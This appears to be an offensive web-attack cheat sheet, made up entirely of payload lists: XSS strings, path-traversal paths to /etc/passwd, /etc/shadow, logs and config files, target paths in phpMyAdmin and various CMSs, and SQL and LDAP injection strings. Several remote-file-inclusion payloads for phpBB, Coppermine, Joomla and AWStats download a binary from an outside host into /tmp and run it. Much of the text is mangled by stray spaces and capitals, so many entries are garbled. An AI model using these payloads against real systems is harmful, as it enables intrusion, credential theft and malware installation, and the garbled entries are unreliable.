<META HTTP-EQUIV = \ "refresh \" CONTENT = \ "0; url = javascript: Alert ('XSS'); \ ">
<META HTTP-EQUIV = \ "refresh \" CONTENT = \ "0; URL = http://; URL = javascript: Alert ('XSS'); \ ">
<script> var var = 1; alert (var) </ script>
<STYLE Type="text/css"> BODY {background: url ("javascript: Alert ('XSS')")}</ STYLE>

<?='< SCRIPT> alert ("XSS") </ SCRIPT> '?>
<IMG SRC = 'vbscript: Msgbox (\ "XSS \") '>
"Onfocus = alert (document.domain)"> <"
<FRAMESET> <FRAME SRC = \ "javascript: Alert ('XSS'); \ "> </ FRAMESET>
<STYLE> Li {list-style-image: url (\ "javascript: Alert ('XSS') \ ");}</ STYLE> <UL> <LI> XSS
perl-e 'print \ "<SCR\0IPT> alert (\" XSS \ ") </ SCR \ 0IPT> \";'> out
perl-e 'print \ "<IMG SRC=java\0script:alert(\"XSS\")> \";'> out
<br size=\"&{alert('XSS')}\">

/ Etc / passwd
/ Etc / shadow
/ Etc / group
/ Etc / security / group
/ Etc / security / passwd
/ Etc / security / user
/ Etc / security / environ
/ Etc / security / limits
/ Usr / lib / security / mkuser.default
.. / Apache / logs / access.log
.. / .. / Apache / logs / error.log
.. / .. / Apache / logs / access.log
.. / .. / .. / Apache / logs / error.log
.. / .. / .. / Apache / logs / access.log
.. / .. / .. / .. / .. / .. / .. / Etc / httpd / logs / acces_log
.. / .. / .. / .. / .. / .. / .. / Etc / httpd / logs / acces.log
.. / .. / .. / .. / .. / .. / .. / Etc / httpd / logs / error_log
.. / .. / .. / .. / .. / .. / .. / Etc / httpd / logs / error.log
.. / .. / .. / .. / .. / .. / .. / Var / www / logs / access_log
.. / .. / .. / .. / .. / .. / .. / Var / www / logs / access.log
.. / .. / .. / .. / .. / .. / .. / Usr / local / apache / logs / access_ log
.. / .. / .. / .. / .. / .. / .. / Usr / local / apache / logs / access. log
.. / .. / .. / .. / .. / .. / .. / Var / log / apache / access_log
../../../../../../../var/log/apache2/access_log
.. / .. / .. / .. / .. / .. / .. / Var / log / apache / access.log
../../../../../../../var/log/apache2/access.log
.. / .. / .. / .. / .. / .. / .. / Var / log / access_log
.. / .. / .. / .. / .. / .. / .. / Var / log / access.log
.. / .. / .. / .. / .. / .. / .. / Var / www / logs / error_log
.. / .. / .. / .. / .. / .. / .. / Var / www / logs / error.log
.. / .. / .. / .. / .. / .. / .. / Usr / local / apache / logs / error_l og
.. / .. / .. / .. / .. / .. / .. / Usr / local / apache / logs / error.l og
.. / .. / .. / .. / .. / .. / .. / Var / log / apache / error_log
../../../../../../../var/log/apache2/error_log
.. / .. / .. / .. / .. / .. / .. / Var / log / apache / error.log
../../../../../../../var/log/apache2/error.log
.. / .. / .. / .. / .. / .. / .. / Var / log / error_log
.. / .. / .. / .. / .. / .. / .. / Var / log / error.log

Apache

.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / httpd / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / httpd / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / httpd / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / httpd / error_log
.. / Apache / logs / error.log
.. / Apache / logs / access.log
.. / .. / Apache / logs / error.log
.. / .. / Apache / logs / access.log
.. / .. / .. / Apache / logs / error.log
.. / .. / .. / Apache / logs / access.log
.. / .. / .. / .. / Apache / logs / error.log
.. / .. / .. / .. / Apache / logs / access.log
.. / .. / .. / .. / .. / Apache / logs / error.log
.. / .. / .. / .. / .. / Apache / logs / access.log
../apache2/logs/error.log
../apache2/logs/access.log
../../apache2/logs/error.log
../../apache2/logs/access.log
../../../apache2/logs/error.log
../../../apache2/logs/access.log
../../../../apache2/logs/error.log
../../../../apache2/logs/access.log
../../../../../apache2/logs/error.log
../../../../../apache2/logs/access.log
.. / Logs / error.log
.. / Logs / access.log
.. / .. / Logs / error.log
.. / .. / Logs / access.log
.. / .. / .. / Logs / error.log
.. / .. / .. / Logs / access.log
.. / .. / .. / .. / Logs / error.log
.. / .. / .. / .. / Logs / access.log
.. / .. / .. / .. / .. / Logs / error.log
.. / .. / .. / .. / .. / Logs / access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / httpd / logs / acces_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / httpd / logs / acces.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / httpd / logs / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / httpd / logs / error.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / apache / logs / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / apache / logs / access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / apache / logs / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / apache / logs / error.log
../../../../../../../../../../usr/local/apache2/logs/access_log
../../../../../../../../../../usr/local/apache2/logs/access.log
../../../../../../../../../../usr/local/apache2/logs/error_log
../../../../../../../../../../usr/local/apache2/logs/error.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / www / logs / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / www / logs / access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / www / logs / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / www / logs / error.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / httpd / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / httpd / access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / httpd / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / httpd / error.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / apache / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / apache / access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / apache / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / apache / error.log
../../../../../../../../../../var/log/apache2/access_log
../../../../../../../../../../var/log/apache2/access.log
../../../../../../../../../../var/log/apache2/error_log
../../../../../../../../../../var/log/apache2/error.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / error.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Opt / lampp / logs / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Opt / lampp / logs / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Opt / xampp / logs / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Opt / xampp / logs / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Opt / lampp / logs / access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Opt / lampp / logs / error.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Opt / xampp / logs / access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Opt / xampp / logs / error.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Program Files \ Apache Group \ Apache \ logs \ access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Program Files \ Apache Group \ Apache \ logs \ error.log
.. / .. / .. / Apache / logs / error.log
.. / .. / .. / Apache / logs / access.log
.. / .. / .. / .. / Apache / logs / error.log
.. / .. / .. / .. / Apache / logs / access.log
.. / .. / .. / .. / .. / Apache / logs / error.log
.. / .. / .. / .. / .. / Apache / logs / access.log
.. / .. / .. / .. / .. / .. / Apache / logs / error.log
.. / .. / .. / .. / .. / .. / Apache / logs / access.log
.. / .. / .. / .. / .. / .. / .. / Apache / logs / error.log
.. / .. / .. / .. / .. / .. / .. / Apache / logs / access.log
.. / .. / .. / .. / .. / .. / .. / .. / Apache / logs / error.log
.. / .. / .. / .. / .. / .. / .. / .. / Apache / logs / access.log
.. / .. / .. / Logs / error.log
.. / .. / .. / Logs / access.log
.. / .. / .. / .. / Logs / error.log
.. / .. / .. / .. / Logs / access.log
.. / .. / .. / .. / .. / Logs / error.log
.. / .. / .. / .. / .. / Logs / access.log
.. / .. / .. / .. / .. / .. / Logs / error.log
.. / .. / .. / .. / .. / .. / Logs / access.log
.. / .. / .. / .. / .. / .. / .. / Logs / error.log
.. / .. / .. / .. / .. / .. / .. / Logs / access.log
.. / .. / .. / .. / .. / .. / .. / .. / Logs / error.log
.. / .. / .. / .. / .. / .. / .. / .. / Logs / access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / httpd / logs / acces_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / httpd / logs / acces.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / httpd / logs / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / httpd / logs / error.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / www / logs / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / www / logs / access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / apache / logs / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / apache / logs / access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / apache / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / apache / access.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / www / logs / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / www / logs / error.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / apache / logs / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / apache / logs / error.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / apache / error_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / apache / error.log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / access_log
.. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / Var / log / error_log

conf

.. / .. / .. / .. / .. / .. / Usr / local / apache / conf / httpd.conf
../../../../../../usr/local/apache2/conf/httpd.conf
.. / .. / .. / .. / .. / .. / Etc / httpd / conf / httpd.conf
.. / .. / .. / .. / .. / .. / Etc / apache / conf / httpd.conf
.. / .. / .. / .. / .. / .. / Usr / local / etc / apache / conf / httpd.conf
../../../../../../etc/apache2/httpd.conf
.. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / apache / conf / httpd.conf
../../../../../../../../../usr/local/apache2/conf/httpd.conf
.. / .. / .. / .. / .. / .. / .. / .. / Usr / local / apache / httpd.conf
../../../../../../../../usr/local/apache2/httpd.conf
.. / .. / .. / .. / .. / .. / .. / .. / Usr / local / httpd / conf / httpd.conf
.. / .. / .. / .. / .. / .. / .. / Usr / local / etc / apache / conf / httpd.conf
../../../../../../../usr/local/etc/apache2/conf/httpd.conf
.. / .. / .. / .. / .. / .. / .. / Usr / local / etc / httpd / conf / httpd.conf
../../../../../../../usr/apache2/conf/httpd.conf
.. / .. / .. / .. / .. / .. / .. / Usr / apache / conf / httpd.conf
../../../../../../../usr/local/apps/apache2/conf/httpd.conf
.. / .. / .. / .. / .. / .. / .. / Usr / local / apps / apache / conf / httpd.conf
.. / .. / .. / .. / .. / .. / Etc / apache / conf / httpd.conf
../../../../../../etc/apache2/conf/httpd.conf
.. / .. / .. / .. / .. / .. / Etc / httpd / conf / httpd.conf
.. / .. / .. / .. / .. / .. / Etc / http / conf / httpd.conf
../../../../../../etc/apache2/httpd.conf
.. / .. / .. / .. / .. / .. / Etc / httpd / httpd.conf
.. / .. / .. / .. / .. / .. / Etc / http / httpd.conf
.. / .. / .. / .. / .. / .. / Etc / httpd.conf
.. / .. / .. / .. / .. / Opt / apache / conf / httpd.conf
../../../../../opt/apache2/conf/httpd.conf
.. / .. / .. / .. / Var / www / conf / httpd.conf
.. / .. / .. / Private / etc / httpd / httpd.conf
.. / .. / .. / Private / etc / httpd / httpd.conf.default
../../Volumes/webBackup/opt/apache2/conf/httpd.conf
.. / .. / Volumes / webBackup / private / etc / httpd / httpd.conf
.. / .. / Volumes / webBackup / private / etc / httpd / httpd.conf.default
.. / .. / .. / .. / .. / .. / .. / .. / .. / Program Files \ Apache Group \ Apache \ conf \ httpd.conf
.. / .. / .. / .. / .. / .. / .. / .. / .. / Program Files \ Apache Group \ Apache2 \ conf \ httpd.conf
.. / .. / .. / .. / .. / .. / .. / .. / .. / Program Files \ xampp \ apache \ conf \ httpd.conf
.. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / php / httpd.conf.php
../../../../../../../../../usr/local/php4/httpd.conf.php
../../../../../../../../../usr/local/php5/httpd.conf.php
.. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / php / httpd.conf
../../../../../../../../../usr/local/php4/httpd.conf
../../../../../../../../../usr/local/php5/httpd.conf
../../../../../../../../../Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
../../../../../../../../../Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
../../../../../../../../../Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
/ Usr / local / etc / apache / vhosts.conf

php.ini

.. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Bin / php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / httpd / php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / lib / php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / lib / php / php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / etc / php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / lib / php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / php / lib / php.ini
../../../../../../../../../usr/local/php4/lib/php.ini
../../../../../../../../../usr/local/php5/lib/php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / apache / conf / php.ini
../../../../../../../../../etc/php4.4/fcgi/php.ini
../../../../../../../../../etc/php4/apache/php.ini
../../../../../../../../../etc/php4/apache2/php.ini
../../../../../../../../../etc/php5/apache/php.ini
../../../../../../../../../etc/php5/apache2/php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / php / php.ini
../../../../../../../../../etc/php/php4/php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / php / apache / php.ini
../../../../../../../../../etc/php/apache2/php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Web / conf / php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Usr / local / Zend / etc / php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Opt / xampp / etc / php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Var / local / www / conf / php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Etc / php / cgi / php.ini
../../../../../../../../../etc/php4/cgi/php.ini
../../../../../../../../../etc/php5/cgi/php.ini
../../../../../../../../../php5 \ php.ini
../../../../../../../../../php4 \ php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Php \ php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / PHP \ php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / WINDOWS \ php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / WINNT \ php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Apache \ php \ php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Xampp \ apache \ bin \ php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / NetServer \ bin \ stable \ apache \ php.ini
../../../../../../../../../home2 \ bin \ stable \ apache \ php.ini
.. / .. / .. / .. / .. / .. / .. / .. / .. / Home \ bin \ stable \ apache \ php.ini
../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php/lib/php.ini

CPanel:
* log

/ Usr / local / cpanel / logs
/ Usr / local / cpanel / logs / stats_log
/ Usr / local / cpanel / logs / access_log
/ Usr / local / cpanel / logs / error_log
/ Usr / local / cpanel / logs / license_log
/ Usr / local / cpanel / logs / login_log
/ Usr / local / cpanel / logs / stats_log
* Conf
/ Var / cpanel / cpanel.config

MySQL:
* log

/ Var / log / mysql / mysql-bin.log
/ Var / log / mysql.log
/ Var / log / mysqlderror.log
/ Var / log / mysql / mysql.log
/ Var / log / mysql / mysql-slow.log
/ Var / mysql.log
* Conf
/ Var / lib / mysql / my.cnf
/ Etc / mysql / my.cnf
/ Etc / my.cnf

MySQL (Windows):
+ log conf

C: \ Program Files \ MySQL \ MySQL Server 5.0 \ data \ hostname.err
C: \ Program Files \ MySQL \ MySQL Server 5.0 \ data \ mysql.log
C: \ Program Files \ MySQL \ MySQL Server 5.0 \ data \ mysql.err
C: \ Program Files \ MySQL \ MySQL Server 5.0 \ data \ mysql-bin.log
C: \ Program Files \ MySQL \ data \ hostname.err
C: \ Program Files \ MySQL \ data \ mysql.log
C: \ Program Files \ MySQL \ data \ mysql.err
C: \ Program Files \ MySQL \ data \ mysql-bin.log
C: \ MySQL \ data \ hostname.err
C: \ MySQL \ data \ mysql.log
C: \ MySQL \ data \ mysql.err
C: \ MySQL \ data \ mysql-bin.log
C: \ Program Files \ MySQL \ MySQL Server 5.0 \ my.ini
C: \ Program Files \ MySQL \ MySQL Server 5.0 \ my.cnf
C: \ Program Files \ MySQL \ my.ini
C: \ Program Files \ MySQL \ my.cnf
C: \ MySQL \ my.ini
C: \ MySQL \ my.cnf

FTP

ProFTPD:
* Log
/ Etc / logrotate.d / proftpd
/ Www / logs / proftpd.system.log
/ Var / log / proftpd
* Conf
/ Etc / proftp.conf
/ Etc / protpd / proftpd.conf
/ Etc/vhcs2/proftpd/proftpd.conf
/ Etc / proftpd / modules.conf

vsftpd:
* Log
/ Var / log / vsftpd.log
/ Etc / vsftpd.chroot_list
/ Etc / logrotate.d / vsftpd.log
* Conf
/ Etc / vsftpd / vsftpd.conf
/ Etc / vsftpd.conf
/ Etc / chrootUsers

wu-ftpd:
* Log
/ Var / log / xferlog
/ Var / adm / log / xferlog
* Conf
/ Etc / wu-ftpd / ftpaccess
/ Etc / wu-ftpd / ftphosts
/ Etc / wu-ftpd / ftpusers

Pure-FTPd:
* Conf
/ Usr / sbin / pure-config.pl
/ Usr / etc / pure-ftpd.conf
/ Etc / pure-ftpd / pure-ftpd.conf
/ Usr / local / etc / pure-ftpd.conf
/ Usr / local / etc / pureftpd.pdb
/ Usr / local / pureftpd / etc / pureftpd.pdb
/ Usr / local / pureftpd / sbin / pure-config.pl
/ Usr / local / pureftpd / etc / pure-ftpd.conf
-/etc/pure-ftpd.conf
/ Etc / pure-ftpd / pure-ftpd.pdb
/ Etc / pureftpd.pdb
/ Etc / pureftpd.passwd
/ Etc / pure-ftpd / pureftpd.pdb
DragonflyBSD & FreeBSD: / usr / ports / ftp / pure-ftpd /
OpenBSD: / usr / ports / net / pure-ftpd /
NetBSD: / usr / pkgsrc / net / pureftpd /
Crux Linux: / usr / ports / contrib / pure-ftpd /
* Log
/ Var / log / pure-ftpd / pure-ftpd.log
/ Logs / pure-ftpd.log
/ Var / log / pureftpd.log

Other:
/ Var / log / ftp-proxy / ftp-proxy.log
/ Var / log / ftp-proxy
/ Var / log / ftplog
/ Etc / logrotate.d / ftp
/ Etc / ftpchroot
/ Etc / ftphosts

Mail Server

/ Var / log / exim_mainlog
/ Var / log / exim / mainlog
/ Var / log / maillog
/ Var / log / exim_paniclog
/ Var / log / exim / paniclog
/ Var / log / exim / rejectlog
/ Var / log / exim_rejectlog

PHPMyAdmin

Target
PHPMyAdmin
Files Requested
/ PMA / main.php
/ Admin / main.php
/ Admin / mysql / main.php
/ Admin / phpmyadmin / main.php
/ Admin / pma / main.php
/ Db / main.php
/ Dbadmin / main.php
/ Main.php
/ Myadmin / main.php
/ Mysql-admin/main.php
/ Mysql / main.php
/ Mysqladmin / main.php
/ PhpMyAdmin-2.2.3/main.php
/ PhpMyAdmin-2.2.6/main.php
/ PhpMyAdmin-2.5.1/main.php
/ PhpMyAdmin-2.5.4/main.php
/ PhpMyAdmin-2.5.6/main.php
/ Phpmyadmin / main.php
/ Phpmyadmin2/main.php
/ Web / phpMyAdmin / main.php
/ PMA / read_dump.php
/ Db / read_dump.php
/ Dbadmin / read_dump.phpv / myadmin / read_dump.php
/ Mysql / read_dump.php
/ Mysqladmin / read_dump.php
/ PhpMyAdmin% 202.6.4-pl4/read_dump.php
/ PhpMyAdmin% 202.7.0-beta1/read_dump.php
/ PhpMyAdmin% 202.7.0-pl1/read_dump.php
/ PhpMyAdmin% 202.7.0-rc1/read_dump.php
/ PhpMyAdmin% 202.7.0/read_dump.php
/ PhpMyAdmin-2.2.3/read_dump.php
/ PhpMyAdmin-2.2.7-pl1/read_dump.php
/ PhpMyAdmin-2.5.6/read_dump.php
/ PhpMyAdmin-2.5.7-pl1/read_dump.php
/ PhpMyAdmin-2.6.0-pl3/read_dump.php
/ PhpMyAdmin-2.6.0/read_dump.php
/ PhpMyAdmin-2.6.1-pl3/read_dump.php
/ PhpMyAdmin-2.6.3-pl1/read_dump.php
/ PhpMyAdmin-2.6.4/read_dump.php
/ Phpadmin / read_dump.php
/ Phpmyadmin / read_dump.php
/ Phpmyadmin1/read_dump.php
/ Phpmyadmin2/read_dump.php
/ Typo3/phpmyadmin/read_dump.php
/ Web / phpMyAdmin / read_dump.php
/ Xampp / phpmyadmin / read_dump.php

Some PHP scripts

/ DE/index2.php
/ FR/index2.php
/ NL/index2.php
/ US/index2.php
/ Cms / index.php
/ Cms/index2.php
/ Cvs / index.php
/ Cvs/index2.php
/ Index.php
/ Index2.php
/ Mambo / index.php
/ Mambo/index2.php
/ Mb / index.php
/ Mb/index2.php
/ Site/index2.php
/ V1/index2.php
/ V2/index2.php
/ V3/index2.php

phpBB

/ Modules / Forums / admin / admin_styles.php
/ Forums / admin / admin_styles.php
/ Includes / functions.php
/ Includes / functions_nomoketos_rules.php
/ Modules / Forums / admin / admin_mass_email.php
/ Modules / Forums / admin / index.php
phpbb_root_path = http://XXX.XXX.XX.XX/cmd.dat?
cmd = cd% 20/tmp; wget% 20XXX.XXX.XX.XX/cbac; chmod% 20 744% 20cbac;. / cbac; echo% 20YYY; echo |

Coppermine

Target
Coppermine
Files Requested
/ Modules / coppermine / themes / default / theme.php
Payload
THEME_DIR = http://XXX.XXX.XX.XX/cmd.gif?
cmd = cd% 20/tmp; wget% 20XXX.XXX.XX.XX/cbac; chmod% 20 744% 20cbac;. / cbac; echo% 20YYY; echo |

Mambo / Joomla Content Management System
/ Index.php
/ Index2.php
/ Mambo/index2.php
/ Cvs/index2.php
/ Cvs/mambo/index2.php
/ Php/mambo/index2.php
/ Cbcms / mod_cbsms_messages.php
/ Components / com_extcalendar / admin_events.php
/ Components / com_forum / download.php
/ Components / com_galleria / galleria.html.php
/ Components / com_hashcash / server.php
/ Components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php
/ Components / com_loudmounth / includes / abbc / abbc.class.php
/ Components / com_pcchess / include.pcchess.php
/ Components / com_pccookbook / pccookbook.php
/ Components / com_performs / performs.php
/ Components / com_pollxt / conf.pollxt.php
/ Components/com_rsgallery2/rsgallery.html.php
/ Components / com_smf / smf.php
/ Components / com_simpleboard / file_upload.php
/ Components / com_sitemap / sitemap.xml.php
/ Components / com_videodb / core / videodb.class.xml.php
/ Mod_cbsms_messages.php
Payload
_REQUEST [Option] = com_content
_REQUEST [Itemid] = 1
GLOBALS =
mosConfig_absolute_path = http://XXX.XXX.XX.XX/cmd.gif?
cmd = cd% 20/tmp; wget% 20XXX.XXX.XX.XX/micu; chmod% 20 744% 20micu;. / micu; echo% 20YYY; echo |
CONFIG_EXT [LANGUAGES_DIR] = http://XXX.XXX.XXX/components/com_extcalendar/upload/Thehacker?&cmd=id
phpbb_root_path = http://XXX.XXX.XXX/components/com_extcalendar/upload/Thehacker?&cmd=id

Wordpress, Drupal and others ...

/ Blog / xmlrpc.php
/ Blog / xmlsrv / xmlrpc.php
/ Blogs / xmlsrv / xmlrpc.php
/ Drupal / xmlrpc.php
/ Phpgroupware / xmlrpc.php
/ Wordpress / xmlrpc.php
/ Xmlrpc.php
/ Xmlrpc / xmlrpc.php
/ Xmlsrv / xmlrpc.php

AWStats

/ Awstats / awstats.pl
/ Cgi-bin/awstats.pl
/ Cgi-bin/awstats/awstats.pl
Payload
configdir = | echo; echo% 20YYY; cd% 20% 2ftmp% 3bwget% 20XX X% 2eXXX% 2eXX% 2eXX% 2fmirela% 3bchmod% 20% 2bx% 20mirela%

3b% 2e% 2fmirela; echo% 20YYY; echo |
Microsoft Applications / Extensions
Code:
/ 5c/_vti_bin/owssvr.dll
/ 5c/MSOffice/cltreq.asp
Payload
UL = 1 & ACT = 4 & BUILD = 6551 & STRMVER = 4 & CAPREQ = 0

DBImageGallery

/ Admin / attributes.php
/ Admin / images.php
/ Admin / scan.php
/ Includes / attributes.php
/ Includes / db_utils.php
/ Includes / images.php
/ Includes / utils.php
/ Includes / values.php
Payload
donsimg_base_path = http://XXX.XXX.XX.XXX/ ~ lisir / M.txt? & /

DBGuestbook

/ Includes / guestbook.php
/ Includes / utils.php
/ Includes / views.php
Payload
dbs_base_path = http://XXX.XXX.XX.XXX/ ~ lisir / M.txt? & /
Ultimate Fun Book
Code:
/ Board / / function.php
/ Funboard / function.php
/ Function.php
Payload
gbpfad = http://XXX.XXX.XX.XXX/ ~ lisir / M.txt? & /

Sinapis Forum CMS

/ Sinapis.php
/ Forum / / sinapis.php
/ FO / sinapis.php
Payload
fuss = http://XXX.XXX.XX.XXX/ ~ lisir / M.txt? & /

Admin Phorum

PhpForums Admin Phorum
Files Requested
/ Actions / del.php
Payload
include_path = http://XXX.XXX.XX.XXX/ ~ lisir / M.txt? & /
PMB Services
Code:
/ Cnl_prod / pmb / opac_css / includes / resa_func.inc.php
/ Pmb / opac_css / includes / resa_func.inc.php
/ Opac_css / includes / resa_func.inc.php
Payload
class_path = http://XXX.XXX.XX.XXX/ ~ lisir / M.txt? & /
PHP-MIP
Code:
/ Php / top.php
/ Phpmip / / top.php
/ Top.php
Payload
laypath = http://XXX.XXX.XX.XXX/ ~ lisir / M.txt? & /

SendStudio

Files Requested
/ Sendstudio / admin / includes / createemails.inc.php
/ Sendstudio / admin / includes / send_emails.inc.php
Payload
ROOTDIR = http://XXX.XXX.XX.XXX/ ~ lisir / M.txt? & /

SQL

'
"
#
-
-
'-
- ';
';
= '
=;
= -
\ X23
\ X27
\ X3D \ x3B '
\ X3D \ x27
\ X27 \ x4F \ x52 SELECT *
\ X27 \ x6F \ x72 SELECT *
'Or select *
admin' -
'; Shutdown -
<>"'%;)(&+
'Or''='
'Or' x '=' x
"Or" x "=" x
') Or (' x '=' x
0 or 1 = 1
'Or 0 = 0 -
"Or 0 = 0 -
or 0 = 0 -
'Or 0 = 0 #
"Or 0 = 0 #
or 0 = 0 #
'Or 1 = 1 -
"Or 1 = 1 -
'Or '1' = '1 '-
"'Or 1 -'"
or 1 = 1 -
or% 201 = 1
or% 201 = 1 -
'Or 1 = 1 or''='
"Or 1 = 1 or" "="
'Or a = a -
"Or" a "=" a
') Or (' a '=' a
") Or (" a "=" a
hi "or" a "=" a
hi "or 1 = 1 -
hi 'or 1 = 1 -
hi 'or' a '=' a
hi ') or (' a '=' a
hi ") or (" a "=" a
'Hi' or 'x' = 'x';
@ Variable
, @ Variable
PRINT
PRINT @ @ variable
select
insert
as
or
procedure
limit
order by
asc
desc
delete
update
distinct
having
truncate
replace
like
handler
bfilename
'Or username like'%
'Or uname like'%
'Or userid like'%
'Or uid like'%
'Or user like'%
exec xp
exec sp
'; Exec master .. xp_cmdshell
'; Exec xp_regread
t'exec master .. xp_cmdshell 'nslookup www.google.com' -
- Sp_password
\ X27UNION SELECT
'UNION SELECT
'UNION ALL SELECT
'Or (EXISTS)
'(Select top 1
'| | UTL_HTTP.REQUEST
1; SELECT% 20 *
to_timestamp_tz
tz_offset
<>"'%;)(&+
'% 20or% 201 = 1
% 27% 20or% 201 = 1
% 20 $ (sleep% 2050)
% 20'sleep% in 2050 '
char% 4039% 41% 2b% 40SELECT
'% 20OR
'Sqlattempt1
(Sqlattempt2)
|
% 7C
* |
% 2A% 7C
* (| (Mail =*))
% 2A% 28% 7C% 28mail% 3D% 2A% 29% 29
* (| (Objectclass =*))
% 2A% 28% 7C% 28objectclass% 3D% 2A% 29% 29
(
28%
)
29%
&
26%
!
21%
'Or 1 = 1 or''='
'Or''='
x 'or 1 = 1 or' x '=' y
/
/ /
/ / *
* / *

XSS

"> <script>"
<script> alert ("XSS") </ script>
<<script> Alert ("XSS ");//<</ script>
<script> alert (document.cookie) </ script>
'> <script> Alert (document.cookie) </ script>
'> <script> Alert (document.cookie); </ script>
\ "; Alert ('XSS');//
